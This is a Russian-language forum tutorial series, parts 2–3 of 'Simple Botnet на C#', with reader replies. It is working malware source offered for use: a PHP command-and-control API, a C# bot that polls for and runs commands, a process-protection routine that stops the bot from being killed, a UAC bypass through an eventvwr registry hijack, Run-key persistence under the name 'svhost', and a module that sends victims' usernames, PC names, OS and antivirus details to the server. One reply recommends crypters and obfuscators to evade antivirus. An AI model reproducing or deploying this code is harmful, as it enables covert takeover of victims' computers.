С записью команды никаких проблем не возникло. Теперь осталось написать скрипт, который будет возвращать команду из бд в качестве ответа, а также устанавливать статус для команд, после их выполнения. Едем дальше...

Рядом с index.php и server.php, создаем файл api.php. Именно он будет отвечать за вышеперечисленные действия. Сначала напишем функцию для возвращения команды серверов
PHP:
<?
include("inc/config.php");
if (isset($_POST['getcmd'])) // если отправлен POST с переменным getcmd
{
$query ="SELECT cmd,arg1,arg2,arg3,cid FROM tasks WHERE `status`='processing'"; // выделяем команду, аргументы, и cid команды, статус которого равен processing

$result = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn)); // выполняем SQL запрос и получаем результат

$row = mysqli_fetch_row($result); // разбиваем полученный результат
$cmd = $row[0]; // извлекаем команду
$arg1 = $row[1]; // извлекаем первый аргумент
$arg2 = $row[2]; // извлекаем второй аргумент
$arg3 = $row[3]; // извлекаем третий аргумент
$cid = $row[4]; // извлекаем cid команды
if ($cmd == "" || $cmd == null) $cmd = "null"; // если команда отсутствует, устанавливаем все значения null

if ($arg1 == "" || $arg1 == null) $arg1 = "null";
if ($arg2 == "" || $arg2 == null) $arg2 = "null";
if ($arg3 == "" || $arg3 == null) $arg3 = "null";
if ($cid == "" || $cid == null) $cid = "null";
$output_array = array( 'task'=>['cmd' => $cmd, 'arg1' => $arg1, 'arg2' => $arg2, 'arg3' => $arg3, 'cid' => $cid] ); // делаем массив task с данными команды

echo json_encode( $output_array ); // возвращаем массив в виде JSON и в качестве ответа
}
?>
Функция выгрузки команды вроде готова. Тестим. Заходим на Послать POST/GET запрос - Инструментарий Web и JavaScript разработчика и отправляем POST запрос с переменной getcmd.

8. Отправка POST запроса для получения команды
13.28.51.png


Поехали.. Ии, смотрим результат

9. Анализ полученного JSON ответа с содержимым команды
13.30.11.png


Ура. Функция выгрузки команды работает отлично. Мы будем получать этот ответ в серверной части и парсить JSON, тем временем извлекая команду, аргументы и cid команды. Как мы видим, cid возвращаемой команды равен 1. Мы отправили две команды, а скрипт вернул первую команду, т.е мы можем отправить 10-20 команд, и они будут выполняться последовательно. Дальше напишем скрипт, который будет устанавливать статус выполненной команды. Следующий код, тоже копипастим
PHP:
if (isset($_POST['cmpcmd'])) // если отправлен POST запрос с переменной cmpcmd
{
  $status = $_POST['cmpcmd']; // присваиваем значение POST переменной cmpcmd
  $cid = $_POST['cid']; // присваиваем cid из POST
   $completed = date("M,d,Y H:i:s"); // указываем время выполнения команды, т.е текущее время
if ($status == "1") // если status равен 1, означает что команды выполнена успешно
$sql = "UPDATE tasks SET `status`='completed',`completed`='$completed' WHERE `cid`='$cid'";
else if ($status == "0")  $sql = "UPDATE tasks SET `status`='failed',`completed`='$completed' WHERE `cid`='$cid'"; // если status равен 0, значит в ходе выполнения команды возникла ошибка

if (mysqli_query($conn, $sql)) echo ""; // выполняем SQL запрос
else echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
В итоге, у нас получится скрипт, на подобие этого
PHP:
<?php
include("inc/config.php");
if (isset($_POST['getcmd']))
{
$query ="SELECT cmd,arg1,arg2,arg3,cid FROM tasks WHERE `status`='processing'";
$result = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
$row = mysqli_fetch_row($result);
$cmd = $row[0];
$arg1 = $row[1];
$arg2 = $row[2];
$arg3 = $row[3];
$cid = $row[4];
if ($cmd == "" || $cmd == null) $cmd = "null";
if ($arg1 == "" || $arg1 == null) $arg1 = "null";
if ($arg2 == "" || $arg2 == null) $arg2 = "null";
if ($arg3 == "" || $arg3 == null) $arg3 = "null";
if ($cid == "" || $cid == null) $cid = "null";
$output_array = array( 'task'=>['cmd' => $cmd, 'arg1' => $arg1, 'arg2' => $arg2, 'arg3' => $arg3, 'cid' => $cid] );

echo json_encode( $output_array );
}
if (isset($_POST['cmpcmd']))
{
  $status = $_POST['cmpcmd'];
  $cid = $_POST['cid'];
   $completed = date("M,d,Y H:i:s");
if ($status == "1")
$sql = "UPDATE tasks SET `status`='completed',`completed`='$completed' WHERE `cid`='$cid'";
else if ($status == "0")  $sql = "UPDATE tasks SET `status`='failed',`completed`='$completed' WHERE `cid`='$cid'";

if (mysqli_query($conn, $sql)) echo "";
else echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
?>
Заливаем на сервер, ща будем тестить. Снова заходим на Послать POST/GET запрос - Инструментарий Web и JavaScript разработчика, и отправляем POST, но уже с другими параметрами. В запросе нам нужно также отправить cid команды, которую мы получали в ответе JSON.

Переменная cmpcmd так же будет хранить статус команды. 0 - failed, 1 - completed

10. Отправка POST запроса для оповещения сервера о выполнении команды
13.46.03.png


Отправляем и проверим, изменилось ли что-нибудь в базе данных.

11. Проверяем базу данных на наличие изменений в ячейке status
13.47.54.png


Как мы видим, у команды, cid которого равен значению, который мы отправляли в POST (т.е 1), установился статус completed, и в колонке completed появилась время выполнения работы. С PHP скриптами мы наконец-то закончили.


5. Полностью изменяем метод получения команды и пишем функцию для JSON парсинга

Для работы с JSON, нам нужна библиотека предназначенная для этого. Лучшим примером будет System.JSON, размер которой не превышает 50кб(по крайней мере сейчас). Работать с ним конечно не так легче, как с Newtonsoft.JSON, размер которого кстате, хранится в 3-х цифрах. Нам не нужен мусорный вес для нашего бота, так как в будущем нужно будет встроить еще пару библиотек. Об этом поговорим в следующей части. Ну что, начнем?

Для начала, запускаем Visual Studio, и открываем наш проект Simple Botnet.
После, нам нужно открыть Диспетчер пакетов NuGet. Переходим в Средства > Диспетчер пакетов NuGet > Консоль диспетчера пакетов. Дальше, вводим команду для установки библиотеки System.JSON

Install-Package System.JSON

12. Анализируем консоль Диспетчера пакетов NuGet
19.33.31.png


Если, после установки вы видите примерно такие последствия, значит всё успешно установилось.
Еще нам нужно внедрить библиотеку в наш исполняемый файл, чтоб не таскать его везде. В Обозревателе решений нажимаем на Ссылки и выбираем System.Json -> откроется окно свойств библиотеки, где мы должны установить значение:
Копировать локально: False

После этих действий, нам нужно добавить в проект сам .dll файл. Для этого, в обозревателе решений, кликаем правой кнопкой мыши SimpleBotnet -> Добавить -> Существующий элемент

13. Открываем окно для импорта новой библиотеки в проект
1.png


И выбираем System.Json.dll из папки наш проект\packages\System.JSON.4.5.0\lib\netstandard2.0(по крайнер мере, у меня было так)

14. Импортируем библиотеку в проект
19.40.40.png


И жмем добавить. В Обозревателе решений появится этот файл с полным названием. Открываем его свойства, и устанавливаем значение
Действие при сборе: Внедренный ресурс

Далее нам нужно написать функцию, которая будет вызывать встроенные библиотеки. Подключаем еще одну библиотеку
using System.JSON;

По идее, у нас в начале функции Form1_Load должна быть команда для выгрузки библиотек. Если нет такой команды, то добавляем

Resolver.RegisterDependencyResolver();

И если класс Resolver у вас тоже отсутствует, добавляем следующий код отдельно от других методов
C#:
public static class Resolver
        {
            private static volatile bool _loaded;

            public static void RegisterDependencyResolver()
            {
                try
                {
                    if (!_loaded)
                    {
                        AppDomain.CurrentDomain.AssemblyResolve += OnResolve;
                        _loaded = true;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
            }

            private static Assembly OnResolve(object sender, ResolveEventArgs args)
            {

                Assembly execAssembly = Assembly.GetExecutingAssembly();
                string resourceName = String.Format("{0}.{1}.dll",
                    execAssembly.GetName().Name,
                    new AssemblyName(args.Name).Name);

                using (var stream = execAssembly.GetManifestResourceStream(resourceName))
                {
                    int read = 0, toRead = (int)stream.Length;
                    byte[] data = new byte[toRead];

                    do
                    {
                        int n = stream.Read(data, read, data.Length - read);
                        toRead -= n;
                        read += n;
                    } while (toRead > 0);

                    return Assembly.Load(data);
                }
            }
Идем дальше. Раньше мы получали команду на прямо в переменную. Сейчас же, мы сделаем отдельный класс, который будет хранить в себе команду, аргументы для команды, и идентификатор команды (cid). Напишем новый класс, отдельно от других
C#:
        public class cmddata
        {
            public static string cmd { get; set; }
            public static int cid { get; set; }
            public static string[] args { get; set; } = new string [3];
        }
Думаю, этот код объяснять не стоит. Сначала обновим список подключенных библиотек
C#:
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
using Microsoft.Win32.TaskScheduler;
using System.Reflection;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Json;
using System.Collections.Specialized;
Далее, нам нужно полностью изменить метод получения команды. Полностью уберем код метода GetCommand и копипастим следующий код
C#:
        public class status
        {
            public static string ok = "1";
            public static string error = "0";
        }
        public void GetCommand()
        {
            try
            {
                WebClient web = new WebClient();
                NameValueCollection values = new NameValueCollection();
                values["getcmd"] = "";
                var json = web.UploadValues(url, values);
                var responseString = Encoding.Default.GetString(json);
                JsonValue value = JsonValue.Parse(responseString);
                JsonObject data = value["task"] as JsonObject;
                cmddata.cmd = data["cmd"]; // Извлекаев команду из массива
                cmddata.cmd = cmddata.cmd.Replace("\"", ""); // Очищаем команду от мусорных знаков
                if (cmddata.cmd != "null")
                {
                    cmddata.cid = data["cid"]; // Извлекаев идентификатор команды, который нам будет нужен для сообщения серверу о выполнении команды
                    cmddata.args[0] = data["arg1"]; // Извлекаем первый аргумент
                    cmddata.args[1] = data["arg2"]; // Извлекаем второй аргумент
                    cmddata.args[2] = data["arg3"]; // Извлекаем третий аргумент
                    switch (cmddata.cmd)
                    {
                        case "q":
                            Complete();
                            byte[] bytes1 = Encoding.UTF8.GetBytes(cmddata.args[0]); // получаем байты первого аргумента
                            string message = Encoding.UTF8.GetString(bytes1); // получаем сам текст из байтов
                            MessageBox.Show(message); // Вывести сообщение
                            break;
                        case "w":
                            Complete();
                            mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); // Открыть CD
                            break;
                        case "e":
                            Complete();
                            mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero); // Закрыть CD
                            break;
                    }
                }
               else Console.WriteLine("No task!");
            }
            catch(Exception ex)
            {
                Console.WriteLine(ex.ToString()); // Если при ходе выполнения кода, заключенного в квадратных скобках try возникла ошибка, выводим причину ошибки только в консоль
            }
            }
        public void Complete()
        {
            WebClient cl = new WebClient();
            var values = new NameValueCollection();
            values["cmpcmd"] = status.ok;
            values["cid"] = cmddata.cid.ToString();
            cl.UploadValues(url, values);
        }
        public static void Error()
        {
            WebClient cl = new WebClient();
            var values = new NameValueCollection();
            values["cmpcmd"] = status.error;
            values["cid"] = cmddata.cid.ToString();
            cl.UploadValues(url, values);
        }
Как вы поняли, мы полностью изменили метод получения команды. Раньше, мы получали команду и аргумент из ответа нескольких GET запросов, теперь же, мы получаем все данные команды из ответа, отправив всего лишь один POST запроса с параметром getcmd. Так же, мы добавили два новых метода : Complete() и Error(). Эти методы будут отвечать за статус выполненной команды, т.е удачно она выполнилась, или же возникла ошибка при выполнении. Про try-catch можете почитать здесь.

Думаю, пора тестить. Сначала очищаем проект от мусора. Сборка> Очистить SimpleBotnet (или название вашего проекта). Теперь можно и запустить. Запускаем и смотрим в консоль


15. Анализируем консоль
console-no-task.png


Как мы видим, бот говорит на No task т.е команда для выполнения отсутствует. Естественно, мы ведь не отправили еще команду через командный центр. Заходим на нашу панель и отправляем, к примеру, команду Send Message, с любым текстом.

16. Отправка команды через командный центр
panel-send-message.png


Нажимаем Send, ииии...

17. Получение команды в серверной части
cmd-sended.png


Отлично. Мы видим команду, которую только что отправили через командный центр. Проверим базу данных, чекнем изменилось ли там что-нибудь.

18. Анализ изменений в базе данных
cmd-status.png


Супер. Мы не просто выполнили команду, выгрузив её из базы данных, мы также сообщили серверу об удачной выполнении команды. Для теста, проверим, получим ли мы уже выполненную команду. Заходим на Послать POST/GET запрос , и отправляем POST запрос для нашего скрипта api.php, с параметром getcmd.

19. Отправляем POST запрос для получения команды
check-post.png


Поехали! Иии....

20. Получаем команду в виде JSON ответа
no-task.png


Как и ожидалось, сервер говорит нам что команд для выполнения нету. Так и должно быть, ведь мы отправили только одну команду, выполнили её, и сообщили серверу о её удачной выполнении ( установили status : completed).

Уважаемые читатели и последователи, я вас поздравляю. У нас получилось научить наш ботнет работать через базу данных.

Теперь, как я и обещал в предыдущей части, сделаем процесс нашего бота бессмертным. Создаем новый класс C#, Проект > Создать новый элемент > Класс C#, называем его AntiKill и полностью меняем содержимое нового класса на следующее
C#:
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Windows.Forms;

namespace SimpleBotnet
{
    class AntiKill
    {

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor,
    uint nLength, out uint lpnLengthNeeded);

        public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] psd = new byte[0];
            uint bufSizeNeeded;
            // Call with 0 size to obtain the actual size needed in bufSizeNeeded
            GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
            if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
                throw new Win32Exception();
            // Allocate the required bytes and obtain the DACL
            if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION,
            psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded))
                throw new Win32Exception();
            // Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
            return new RawSecurityDescriptor(psd, 0);
        }

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);

        public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] rawsd = new byte[dacl.BinaryLength];
            dacl.GetBinaryForm(rawsd, 0);
            if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
                throw new Win32Exception();
        }

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetCurrentProcess();

        [Flags]
        public enum ProcessAccessRights
        {
            PROCESS_CREATE_PROCESS = 0x0080, //  Required to create a process.
            PROCESS_CREATE_THREAD = 0x0002, //  Required to create a thread.
            PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle.
            PROCESS_QUERY_INFORMATION = 0x0400, //  Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob).
            PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, //  Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000:  This access right is not supported.
            PROCESS_SET_INFORMATION = 0x0200, //    Required to set certain information about a process, such as its priority class (see SetPriorityClass).
            PROCESS_SET_QUOTA = 0x0100, //  Required to set memory limits using SetProcessWorkingSetSize.
            PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process.
            PROCESS_TERMINATE = 0x0001, //  Required to terminate a process using TerminateProcess.
            PROCESS_VM_OPERATION = 0x0008, //   Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).
            PROCESS_VM_READ = 0x0010, //    Required to read memory in a process using ReadProcessMemory.
            PROCESS_VM_WRITE = 0x0020, //   Required to write to memory in a process using WriteProcessMemory.
            DELETE = 0x00010000, // Required to delete the object.
            READ_CONTROL = 0x00020000, //   Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right.
            SYNCHRONIZE = 0x00100000, //    The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
            WRITE_DAC = 0x00040000, //  Required to modify the DACL in the security descriptor for the object.
            WRITE_OWNER = 0x00080000, //    Required to change the owner in the security descriptor for the object.
            STANDARD_RIGHTS_REQUIRED = 0x000f0000,
            PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),//    All possible access rights for a process object.
        }
        public static void block()
        {
            // Get the current process handle
            IntPtr hProcess = GetCurrentProcess();
            // Read the DACL
            var dacl = GetProcessSecurityDescriptor(hProcess);
            // Insert the new ACE
            dacl.DiscretionaryAcl.InsertAce(
            0,
            new CommonAce(
            AceFlags.None,
            AceQualifier.AccessDenied,
            (int)ProcessAccessRights.PROCESS_ALL_ACCESS,
            new SecurityIdentifier(WellKnownSidType.WorldSid, null),
            false,
            null)
            );
            // Save the DACL
            SetProcessSecurityDescriptor(hProcess, dacl);
        }
    }
}
Теперь в главном классе (Form1.cs), вызываем метод для блокировки завершения процесса
AntiKill.block();

Идем тестить. Запускаем проект и пробуем завершить процесс с помощью Диспетчера задач

21. Пытаемся завершить процесс бота через Диспетчер задач
nokill.png


Отлично! Наш код работает. От нашего бота теперь нельзя будет просто так избавиться)
Теперь научим нашего бота обрабатывать команду для обхода UAC, и команду для самозавершения. Сначала отдельно напишем новый метод
C#:
        public static void PrivEsc()
        {
            try
            {
              string escpath = Assembly.GetEntryAssembly().Location;
                Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Classes\mscfile\shell\open\command").SetValue("", escpath);
                Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").SetValue("svhost", escpath);
                Process.Start("eventvwr.exe");
                Environment.Exit(0);
            }
            catch(Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }
Теперь изменим метод обработки команд GetCommand, добавим следующий код в конец функции switch
C#:
                        case "r":
                            try
                            {
                                Complete();
                                PrivEsc(); // Вызываем метод для обхода UAC
                            }
                            catch
                            {
                                Error();
                            }
                            break;
                        case "t":
                            try
                            {
                                Environment.Exit(0); Принудительно завершаем процесс бота
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
Думаю, вы поняли для чего эти две команды. Теперь добавим эти две команды в командный центр. Открываем скрипт index.php, и сразу за строчками
HTML:
  <option value="q">Send Message</option>
  <option value="w">Open CD</option>
  <option value="t">Close CD</option>
добавляем следующие две строчки
HTML:
  <option value="r">ByPass UAC</option>
<option value="t">Terminate application</option>
Заливаем скрипт index.php на наш сервер, и открываем наш командный центр.

22. Проверяем список команд в командном центре
check-panel.png


Как мы видим, в командном центре появились еще команды, которые мы только что добавили в скрипт index.php. Будем чекать

Запускаем наш проект. Проверяем права процесса нашего бота с помощью ProcessHacker

23. Анализируем права процесса бота в ProcessHacker
process-rights.png


Вкладка Elevation и значение нашего процесса Limited, говорит нам что права нашего бота ограничены. Отправим команду ByPass UAC через командный центр

24. Отправляем недавно добавленную команду через командный центр
sendcmd-bypass.png


Старый процесс нашего бота завершился, за то запустился новый. Проверим права через ProcessHacker

25. Анализируем права процесса бота через ProcessHacker
full-grants.png


Отлично! Нам удалось обойти UAC. Как мы видим, у нашего процесса есть все права. Протестируем вторую команду. По идеи, наш процесс должен убиться, после отправки этой команды. Вновь открываем командный центр, и шлем команду Terminate application

26. Отправляем недавно добавленную команду через командный центр
termapp-cmd.png


Как и ожидалось, процесс полностью завершился.


5. Заключение

На этом, я завершаю вторую часть моей кодерской статьи. В этой части, текста и кода было значительно больше, чем в предыдущей части, но, оно того стоило. Важные термины, названия, а также пути, я выделил разными цветами. В следующей части, мы сделаем статистику ботов и команд, сделаем нашему командному центру приятный дизайн и научим нашего бота обрабатывать еще пару команд.

P.S Скачать проект со всеми исходниками и бэкапом можете по этой ссылке.

Автор: GoodSmile
 
Simple Botnet на C# - Часть 2

Скрытое содержимое
Ай, ну и зачем дллку json линковать... она же весит, если мне память не изменяет >500кб. Легче сделать получение конфига через обычную строку, а потом её распарсить. А так неплохо
 
а как делать так чтобы детектов было меньше?
бля свой ботнет так то збс тема
Необходимо сделать так что бы АВ не видел что делает твой код. Используй крипторы, протекторы, омбусфикаторы.
 
Simple Botnet на C# - Часть 3

У вас должно быть более 20 сообщений для просмотра скрытого контента.

Содержание статьи:
  1. Вступление
  2. Трансформируем командный центр
    2.1 Делаем статистику ботов
    2.2 Делаем статистику команд
    2.3 Размещаем все статистики в отдельные вкладки
    2.4 Делаем базовую защиту от SQL инъекций
  3. Добавляем в копилку бота еще несколько команд
  4. Делаем простую авторизацию
  5. Заключение

1. Вступление

Добрый день. Продолжаем дорабатывать свой собственный ботнет. Напомню, что в прошлых двух статьях была описана настройка среды для разработки и много-много кода с описанием и всевозможными комментариями для детального понимания происходящего.
Фундаментально, бот уже существует, осталось добавить несколько штрихов, которые приведут его к боевой готовности.


2. Трансформируем командный центр

На данном этапе, мы имеем возможность записывать данные о команде в таблицу tasks. Благодаря этой записи можно сделать статистику, которая отобразит всю информацию отправленных команд.
Что же касается статистики самого бота: будет создана новая таблица для всей необходимой информации и PHP скрипт для ее получения. Функция в серверной части (которую мы тоже напишем) будет отправлять информацию на сервер. Он и будет принимать, записывать и отображать все данные.


2.1 Делаем статистику ботов

Заходим на MySQL сервер, и создаем таблицу bots. Как это делать, я рассказывал в предыдущей части. Я буду делать это через консоль. Вводим
SQL:
create table bots (
id int (10) AUTO_INCREMENT,
ip varchar(255) NOT NULL,
username varchar(255) NOT NULL,
pcname varchar(255) NOT NULL,
sysinfo varchar(255) NOT NULL,
avname varchar(255) NOT NULL,
PRIMARY KEY (id)
);
Эта команда создаст таблицу bots с нужными колонками.
  • id - идентификатор отправленной команды
  • ip - айпи адрес бота
  • username - имя пользователя бота
  • pcname - имя компьютера бота
  • sysinfo - инфа об ОС
  • avname - название антивируса
Первый шаг есть. Теперь нам нужно написать модуль в серверной части, который будет отправлять серверу нужную информацию. Запускаем Visual Studio, открываем наш проект. Нажимаем на имя проекта >> Добавить >> Создать элемент

Снимок экрана 2019-09-06 в 16.19.24.png


И создаем новый класс с именем Agent.cs

2. Создание нового класса

Снимок экрана 2019-09-06 в 16.21.26.png


Нам нужно написать функцию, которая будет собирать и отправлять информацию на сервер. Копипастим следующий в код в недавно созданный класс

C#:
using System;
using System.Management;
using System.Net;
using System.Collections.Specialized;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Diagnostics; // ссылки на пространства имен

namespace SimpleBotnet
{
    public class Agent
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        const int SW_HIDE = 0;

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
             LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, // импорт необходимых для работы фукнций библиотек
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }
        private delegate IntPtr LowLevelKeyboardProc(
            int nCode, IntPtr wParam, IntPtr lParam);
        private static IntPtr HookCallback(
            int nCode, IntPtr wParam, IntPtr lParam)
        {
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }
        private static string pcname;
        private static string username;
        private static string osname;
        private static string osarch; // объявление необходимых переменных
        private static string osvers;
        private static string avname = "Undefined";
        public static void SystemInfo(string url) // фукнция, которую мы вызываем в главном классе, передавая url в качестве string значения
        {
            try
            {
                Resolver.RegisterDependencyResolver(); // вызываем встроенные библиотеки
                try
                {
                    Agent si = new Agent(); // создаем новый объект класса
                    si.getOperatingSystemInfo(); // вызываем функцию для сбора информации
                    var searcher = new ManagementObjectSearcher("root\\SecurityCenter2",
                                                    "SELECT * FROM AntiVirusProduct");

                    foreach (ManagementObject queryObj in searcher.Get())
                    {
                        string displayName = (string)queryObj["displayName"];
                        avname = $"Antivirus: {displayName}";
                        if (avname == null || avname == "") avname = "null";

                        uint productState = (uint)queryObj["productState"];
                        uint secutityProvider = (productState & 0xff0000) >> 16;

                        uint realtimeStatus = (productState & 0xff00) >> 8;
                        uint signatureStatus = (productState & 0xff);
                        switch (signatureStatus)
                        {
                            case 0x00:
                                break;
                            case 0x10:
                                break;
                            default:
                                break;
                        }
                    }
                    Console.ReadLine();

                }
                catch (Exception ex)
                {
                    Console.WriteLine("Op: 3 \n" + ex.ToString());
                }

                WebClient cl = new WebClient(); // создаем новый клиент
                var values = new NameValueCollection(); // создаем новый элемент для хранения POST параметров
                values["sysinfo"] = pcname;
                values["pcname"] = pcname;
                values["username"] = username;
                values["sysinfo"] = osname + " " + osvers + " " + osarch;
                values["avname"] = avname;
                var upload = cl.UploadValues(url, values); // отправляем всё это через POST запрос
                var result = Encoding.Default.GetString(upload); // получаем результат отправки
                Console.WriteLine("Result: " + result.ToString()); // выводим результат в консоль
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString()); // если при выполнении кода возникла ошибка, выводим причину в консоль
            }
        }

        public void getOperatingSystemInfo()  // основная функция сбора информации
        {
            try
            {
                pcname = Environment.MachineName; // получаем имя компьютера
                username = Environment.UserName; // получаем имя пользователя
                ManagementObjectSearcher mos = new ManagementObjectSearcher("select * from Win32_OperatingSystem");
                foreach (ManagementObject managementObject in mos.Get())
                {
                    if (managementObject["Caption"] != null)
                    {
                        osname = managementObject["Caption"].ToString();   //Display operating system caption
                    }
                    if (managementObject["OSArchitecture"] != null)
                    {
                        osarch = managementObject["OSArchitecture"].ToString();   //Display operating system architecture.
                    }
                    if (managementObject["CSDVersion"] != null)
                    {
                        osvers = managementObject["CSDVersion"].ToString();     //Display operating system version.
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }
        public static class Resolver // класс с функцией для вызова встроенных библиотек
        {
            private static volatile bool _loaded;

            public static void RegisterDependencyResolver()
            {
                try
                {
                    if (!_loaded)
                    {
                        AppDomain.CurrentDomain.AssemblyResolve += OnResolve;
                        _loaded = true;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
            }

            private static Assembly OnResolve(object sender, ResolveEventArgs args)
            {

                Assembly execAssembly = Assembly.GetExecutingAssembly();
                string resourceName = String.Format("{0}.{1}.dll",
                    execAssembly.GetName().Name,
                    new AssemblyName(args.Name).Name);

                using (var stream = execAssembly.GetManifestResourceStream(resourceName))
                {
                    int read = 0, toRead = (int)stream.Length;
                    byte[] data = new byte[toRead];

                    do
                    {
                        int n = stream.Read(data, read, data.Length - read);
                        toRead -= n;
                        read += n;
                    } while (toRead > 0);

                    return Assembly.Load(data);
                }
            }

        }
    }
}

Это обычная процедура сбора информации и отправки её на сервер через POST запрос (все подробности были описаны в предыдущих статьях.

Далее, добавляем ссылку на System.Management. Для этого, заходим Проект >> Добавить ссылку >> Сборки >> и включаем System.Management.

Если ошибки отсутствуют, значит все сделали правильно.

Следующим шагом нужно написать PHP функцию, которая будет принимать и записывать информацию в базу данных. Открываем наш api.php и обновляем код
PHP:
<?php
include("inc/config.php");
if (isset($_POST['getcmd']))
{
$target = $_POST['target'];
$query ="SELECT cmd,arg1,arg2,arg3,cid FROM tasks WHERE target = '$target' AND `status`='processing'";
$result = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
$row = mysqli_fetch_row($result);
$cmd = $row[0];
$arg1 = $row[1];
$arg2 = $row[2];
$arg3 = $row[3];
$cid = $row[4];
if ($cmd == "" || $cmd == null) $cmd = "null";
if ($arg1 == "" || $arg1 == null) $arg1 = "null";
if ($arg2 == "" || $arg2 == null) $arg2 = "null";
if ($arg3 == "" || $arg3 == null) $arg3 = "null";
if ($cid == "" || $cid == null) $cid = "null";
$output_array = array( 'task'=>['cmd' => $cmd, 'arg1' => $arg1, 'arg2' => $arg2, 'arg3' => $arg3, 'cid' => $cid] );
echo json_encode( $output_array );
}

if (isset($_POST['cmpcmd']))
{
  $status = $_POST['cmpcmd'];
  $cid = $_POST['cid'];
   $completed = date("M,d,Y H:i:s");
if ($status == "1")
$sql = "UPDATE tasks SET `status`='completed',`completed`='$completed' WHERE `cid`='$cid'";
else if ($status == "0")  $sql = "UPDATE tasks SET `status`='failed',`completed`='$completed' WHERE `cid`='$cid'";
if (mysqli_query($conn, $sql)) echo "";
else echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
if (isset($_POST['sysinfo']))
{
      $ip = $_SERVER['REMOTE_ADDR'];
  $username = $_POST['username'];
  $pcname = $_POST['pcname'];
  $sysinfo = $_POST['sysinfo'];
  $avname = $_POST['avname'];
$query = "SELECT pcname FROM bots";
$res2 = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
$btcount=mysqli_num_rows($res2);
if ($btcount < 1)
{
   $completed = date("M,d,Y H:i:s");
$sql = "INSERT INTO bots (ip, pcname, username, sysinfo, avname) VALUES ('$ip','$pcname','$username','$sysinfo', '$avname')";
if (mysqli_query($conn, $sql)) echo "";
else echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
}
?>

